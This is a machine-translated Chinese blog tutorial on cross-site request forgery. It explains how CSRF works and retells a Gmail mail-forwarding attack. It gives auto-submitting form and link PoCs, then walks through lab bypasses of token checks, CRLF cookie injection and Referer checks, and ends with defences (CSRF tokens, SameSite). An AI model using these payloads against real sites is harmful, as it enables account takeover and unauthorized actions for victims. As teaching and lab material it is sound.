当前位置:网站首页>[network security penetration] if you don't understand CSRF? This article gives you a thorough grasp
[network security penetration] if you don't understand CSRF? This article gives you a thorough grasp
2022-06-13 08:54:00 【Big safe house】
01/ What is? CSRF
Famous questions during the interview :“ Talk about you CSRF And SSRF Differentiated view ”
This problem , If we speak in very popular language ,CSRF It's more like fishing , Users attack users ; And for SSRF Come on , The server sends the request , user Japan Server's .
CSRF(Cross-site request forgery) Cross-site request forgery : The attacker induced the victim to enter the third party website , In a third-party website , Send cross site request to the attacked website . Use the registration certificate obtained by the victim on the attacked website , Bypass user authentication in the background , To achieve the purpose of impersonating a user to perform an operation on the attacked website .
stay Port in , The schematic diagram is like this

We are learning CSRF Explain its principle before attacking
A typical CSRF The attack has the following process :
Victim login a.com, And keep the login credentials (Cookie).
The attacker lured the victim to visit b.com.
b.com towards a.com Sent a request :a.com/act=xx. The browser will carry by default a.com Of Cookie.
a.com After receiving the request , Validate request , And confirm that it's the victim's evidence , Mistakenly thought it was the victim's own request .
a.com Executed... In the name of the victim act=xx.
Attack complete , The attacker... Without the victim's knowledge , Pretend to be a victim , Give Way a.com Performed the operation defined by myself .
Do you feel that this workflow is similar to XSS Some similar , however XSS And CSRF The biggest difference between Cookie Use ,XSS Of the victims Of Cookie Steal it , and CSRF Is borrowed from the victim Cookie.
Let's take an example to deepen CSRF Principle .
【 Help safe learning , All resources are obtained from one by one 】
① Network Security Learning Route
②20 Penetration test ebook
③ Safe attack and defense 357 Page notes
④50 A security attack and defense interview guide
⑤ Safety red team penetration Kit
⑥ information gathering 80 Search syntax
⑦100 Three actual cases of vulnerability
⑧ Internal video resources of the safety factory
⑨ Calendar year CTF Analysis of the flag race
02/ CSRF Actual combat scene ( Principle application )
【 This paragraph is extracted from the article of meituan technical team 】
This day , Xiao Ming brushes in boredom Gmail mail . Most of them are nutritional notifications 、 Verification Code 、 Chat notes and so on . But one email caught Xiao Ming's attention :
Sell bitcoin on sale , One just 998!!
Smart Xiao Ming of course knows that this is a liar , But still with a curious attitude point in ( Do not imitate ). Sure enough , It's just a blank page with nothing , Xiaoming is disappointed to close the page . Nothing seems to have happened ……
Under this calm exterior , The hacker's attack has been successful . Xiaoming Gmail in , A filtering rule was secretly set up , This rule makes all emails be Automatic forwarding To [email protected]( That is, the mailbox of the attacker ). Xiao Ming is still brushing his email , I don't know his mail is in a fiefdom , Like a runaway Mustang , Continue to forward to the hacker's mailbox .
One day soon after , Xiaoming finds that his domain name has been transferred . Ignorant Xiaoming thinks that the domain name is due and he forgets to renew it , Until one day , The other side offered $650 The redemption price of , Xiao Ming just began to feel that something was wrong .
Xiaoming carefully checked the transfer of the domain name , The other party has its own verification code , The verification code of the domain name only exists in its own mailbox . Xiao Ming recalled the strange link that day , I opened it and looked at it again “ Blank pages ” Source code :
<form method="POST" action="https://mail.google.com/mail/h/ewt1jmuj4ddv/?v=prf" enctype="multipart/form-data">
<input type="hidden" name="cf2_emc" value="true"/>
<input type="hidden" name="cf2_email" value="[email protected]"/>
.....
<input type="hidden" name="irf" value="on"/>
<input type="hidden" name="nvp_bu_cftb" value="Create Filter"/>
</form>
<script> document.forms[0].submit(); </script>
Code parsing ———— This is what we will talk about later CSRF Poc
This page just opens , Will go to Gmail Send a post request . In request , Yes “Create Filter” command , Send all the mail , Forwarding to “[email protected]”.
Xiaoming just landed Gmail, So when this request is sent , With Xiao Ming's login Certificate (Cookie),Gmail Received a request in the background of , It is verified that there is Xiaoming's login certificate , So Xiao Ming was successfully equipped with a filter .
Hackers can check all Xiaoming's emails , Including the domain name verification code and other privacy information in the email . After you get the captcha , Hackers can ask domain name service providers to reset their domain names to themselves .
This page just opens , Will go to Gmail Send a post request . In request , Yes “Create Filter” command , Send all the mail , Forwarding to “[email protected]”.
Xiaoming just landed Gmail, So when this request is sent , With Xiao Ming's login Certificate (Cookie),Gmail Received a request in the background of , It is verified that there is Xiaoming's login certificate , So Xiao Ming was successfully equipped with a filter .
Hackers can check all Xiaoming's emails , Including the domain name verification code and other privacy information in the email . After you get the captcha , Hackers can ask domain name service providers to reset their domain names to themselves .
03/ CSRF How to attack
In this paper , We made it clear CSRF The attack principle of , Let's focus on vulnerability mining .
1. GET The request produced CSRF
GET The request produced CSRF It's simpler , Yes href The way of attack is the same as HTTP How to request .
GET Requested href class CSRF
<a href="http://bank.com/transfer?account_number_from=123456789&account_number_to=987654321&amount=100000">View my Pictures!</a>
Already logged in bank.com Under the circumstances , When we click “View my Pictures” This link is , Will transfer money from one account to another , The amount is 100000
GET Requested HTTP Contract awarding CSRF
It's used in this way :

This is included in the victim's visit img After the page , The browser will automatically go to http://bank.example/withdraw/account=xiaoming&amount=10000&for=hacker Send it out once HTTP request . When the attacker receives the request, we can “ To borrow ” The other person's Cookie.
2. POST The request produced CSRF
POST The result of a request CSRF It is the most common attack method we use .
This type of CSRF It's usually used to be an auto submitted form .
<form action="http://bank.example/withdraw" method=POST>
<input type="hidden" name="account" value="xiaoming" />
<input type="hidden" name="amount" value="10000" />
<input type="hidden" name="for" value="hacker" />
</form>
<script> document.forms[0].submit(); </script>
After visiting this page , The form will be submitted automatically , It's like simulating the user once POST operation .
POST Type of attack is usually better than GET Be more strict , But it's not complicated . Any personal website 、 Blog , Websites uploaded by hackers may be the source of attacks , The back-end interface cannot place security on only allow POST above .
Here you can go through Burpsuite Self contained CSRF Poc Tools to attack , However, there are also some tips when using .
The basis of CSRF Attack experience
Corresponding to the range you can try , In the middle of the range , No arbitrary CSRF defense
Range address Lab: CSRF vulnerability with no defenses
because CSRF It is essentially a kind of fishing , So we also need third-party website attacks , Such as your own server , perhaps Burpsuite Built in shooting range Exploit server;WebGoat Of WebWolf.
Let's log into the shooting range first , Found a function point ———— Update email

Just imagine , Our account has been Update email The operation of .
If we hang malicious on our server Payload, After inducing others to click . Corresponding , The other party's mailbox will also become ours CSRF Poc As specified by the , In this way , I can go through “ Forget the password ” This service is used to obtain the permission of his account .( Of course, there is a premise here , The other party is logged in and Cookie In effect )
Exploit part
use Burpsuite Self contained CSRF Poc Construct the basic framework ;
Then we take out the core form , And modify it , Construct the final POC
<form method="$method" action="$url">
<input type="hidden" name="$param1name" value="$param1value">
</form>
<script>
document.forms[0].submit();
</script>
Then put it into Exploit Server among , Click on Deliver it to victim that will do .
When the other party is not right CSRF When making any defense , The above two CSRF The attack method can kill .
Understand its attack -> Know and keep
We now know CSRF The way to attack , Next, let's focus on CSRF Means of defense and ways of bypassing .
04/ CSRF Our defense
Mainstream CSRF There are two kinds of defense methods
ban Remove unknown extraterritorial access ———— Use homology detection and Samesite Cookie
Add an additional layer of verification means CSRF Token
1. Close to invincible defense tactics CSRF Token
If you explain it easily CSRF Token It works like this .
CSRF Token Each page is manipulated ,Token Will change , such as f5 Refresh , Click the button and so on , Will result in CSRF Token change .
And for every request CSRF Token It will be verified by the back-end code Token The effectiveness of the ———— Whether it is right , Whether it is valid on the timestamp , If the encryption string is consistent and the time has not expired , So this Token It's effective .
With Java For example , Let's introduce CSRF Token The verification logic of the server
HttpServletRequest req = (HttpServletRequest)request; HttpSession s = req.getSession();
// from session Get in csrftoken attribute
String sToken = (String)s.getAttribute(“csrftoken”); if(sToken == null) {
// Generate new token Put in session in
sToken = generateToken(); s.setAttribute(“csrftoken”,sToken); chain.doFilter(request, response);
}
else {
// from HTTP Get in the head csrftoken
String xhrToken = req.getHeader(“csrftoken”);
// Get... From the request parameters csrftoken
String pToken = req.getParameter(“csrftoken”);
if(sToken != null && xhrToken != null && sToken.equals(xhrToken)){
chain.doFilter(request, response);
}
else if(sToken != null && pToken != null && sToken.equals(pToken)){
chain.doFilter(request, response);
}
else
{ request.getRequestDispatcher(“error.jsp”).forward(request,response);
}
}
2. With fewer restrictions on homology
Samesite yes Set-Cookie A property of , It has three values
Strict The strictest , Third parties... Are totally prohibited Cookie, Cross site , Under no circumstances will it be sent Cookie. In other words , Only the current web page URL Consistent with the request target , To bring with you Cookie.
Set-Cookie: CookieName=CookieValue; SameSite=Strict;
Lax The rules are slightly relaxed , In most cases, it is also not sent to a third party Cookie, But navigate to the target site Get Except for requests .
Set-Cookie: CookieName=CookieValue; SameSite=Lax;
Another attribute is None, This attribute means that the SameSite
General attacks can be bypassed by trying to SameSite Set to None
The principle of this method is also relatively simple , because CSRF The essence of fishing is fishing , For example, I send phishing emails through email , At this time “ Source ” The email interface .
If the server has a strict homology policy , Will not receive this... From mailbox “ Source ” Request .
ok, After talking about the conventional defense measures , Let's talk about bypassing
05/ in the light of CSRF Token With the same source of policy bypass means
Our circumvention is based on CSRF Token Or when the homology policy is not so strict , Even some logic loopholes caused by design negligence .
Unless specially reminded , All sites of the following ranges are located in **“Update email”** Next .
1. take POST It is amended as follows GET Request to bypass
Range address Lab: CSRF where token validation depends on request method)
The logic behind it :
CSRF Token stay POST Effective on request , And sites do not completely limit requests to POST request , This gives the attacker a chance to bypass .
Detection method : take CSRF Token Delete , And will HTTP The request is modified to GET request .

The echo at this time is "Missing parameter 'csrf'", We will again HTTP The request is modified to GET request , Observation echo .

The echo 302, Means we can bypass in this way , structure Payload

2. Delete CSRF Token Go around
Range address Lab: CSRF where token validation depends on token being present
The logic behind it :
No strong validation CSRF Token The existence of .
We're trying to delete CSRF Token, The echo 302

I'm deleting it CSRF Token Then generate POC that will do .
3. CSRF Token Not with the user Session binding
Range address Lab: CSRF where token is not tied to user session
The logic behind it
No strict one-to-one identity correspondence , It's actually quite understandable . for instance , We log in to the registration interface , In fact, it is necessary to match whether the user name and password are equal , And the logic here is the same .
So here , I can modify it first Cookie, Revise CSRF Token, To observe CSRF Token And Cookie Whether it corresponds to , Or whether it is bound .
modify Cookie Medium Session value , The observation echo is “Unauthorized”

modify CSRF Token, The observation echo is “Invalid CSRF Token”
explain CSRF Token Not with session binding , But with csrfKey( That is to say value) The binding of , according to cookie The transitivity of , We can put... In advance on other pages csrfKey Put it in , Here we use img And onerror Combinatorial XSS as well as CLRF Technology to construct CSRF.
Here is master pear's Poc

When the victim clicks CSRF When linking, it will trigger CLRF Inject Set-Cookie Parameter values , take csrfKey Value added to Cookie in , And then with csrfKey Corresponding CSRF Token To submit a request to modify the mailbox .
4. When Cookie Medium CSRF Value and CSRF Token When the values of are consistent
Range address Lab: CSRF where token is duplicated in cookie
The logic behind it :
Just to CSRF Token Simply copy to cookie In the head , Then just verify that the two are consistent .
So here we bypass Poc The core of the should be like this ,%0d%0a by \r\n, That is to say CR And LF
<img src="url/?search=test%0d%0aSet-Cookie:%20csrf=jVDOkLRjgEe41xJlURwUeAIcDet4Cier" onerror="document.forms[0].submit();"/>

5. For those who are not strict Referer Limit bypass
Range address Lab: CSRF with broken Referer validation
The logic behind it
There are no particularly strict restrictions Referer, It's just not allowed Referer.
Referer: Range address .com
// The following is illegal
Referer: baidu.com
Generally, we pass Referer: baidu.com To judge Referer The limitation of .
if Referer: baidu.com Be restricted , Then we can bypass
http://attacker-website.com/csrf-attack?baidu.com
Range part , This function node is also used to change the mailbox CSRF attack
Here we need to introduce history.pushState, This function, as its name implies , It's inserted into the history , Therefore, this is why the value of the third parameter can be modified to be homologous with the attack link to bypass the wrong Referer Header validation mechanism , So we construct it like this CSRF page .
So let's modify Referer by baidu.com View echo , Successful contracting .

modify Referer by baidu.com+?laburl, Echo as 302 success .

structure Payload, take history.pushState The third parameter of is changed to Lab Of URL Address . After launch , stay Head Add Referrer-Policy: unsafe-url

06/ Summary
CSRF Attack is essentially a fishing method , This article focuses on some CSRF The way to bypass the attack , Maybe you can have an unexpected effect when you try to penetrate .
边栏推荐
- Journal d'acquisition du faisceau de fichiers à Elk
- Replace jade engine with EJS
- Can I open an account for the reverse repurchase of treasury bonds? Can I directly open the security of securities companies on the app for the reverse repurchase of treasury bonds? How can I open an
- A solution to create a new EXCEL workbook on win10 computer and change the suffix to xlsm (normally it should be xlsx)
- WARNING:tornado. access:404 GET /favicon. ICO (172.16.8.1) 1.84ms [with static file settings]
- JS obtain geographic location information according to longitude and latitude and mark it on the map
- Cesium displays a pop-up box at the specified position and moves with the map
- [leetcode weekly race record] record of the 80th biweekly race
- JS string method
- On the use of regular expressions (bracket problem)
猜你喜欢

【安全】零基础如何从0到1逆袭成为安全工程师

0. some doubts about learning SolidWorks for the first time

JS array using the reduce() method

网络安全漏洞分析之重定向漏洞分析

Mapbox usage, including drawing, loading, modifying, deleting points and faces, displaying pop ups, etc

On the use of regular expressions (bracket problem)

2020-12-28

Knowledge points related to system architecture 1

Centering problem - the width and height of child elements are known

【网络安全】SQL注入新思维之webshell提权
随机推荐
5. Attribute selector
centos 安装mysql及设置远程访问
2021-04-16
VS安装VAssistX插件导致WPF-XAML文件输入中文出现乱码问题解决方案
Namespace in TS (1)
useRoutes() may be used only in the context of a <Router> component.
Sky background map, navigation page lovefanfan top
Print an array clockwise
turf. JS usage
GBase 8a V95与V86压缩策略类比
顺时针打印个数组
0.一些自己初學Solidworks的疑惑
MySQL 8.0 modifying SQL_ mode=only_ full_ group_ by
\Difference between N and \r
Redis distributed cluster setup
WARNING:tornado.access:404 GET /favicon.ico (172.16.8.1) 1.84ms [附静态文件设置]
【安全】零基礎如何從0到1逆襲成為安全工程師
【网络安全】SQL注入新思维之webshell提权
Invalid flex layout setting width
JS string method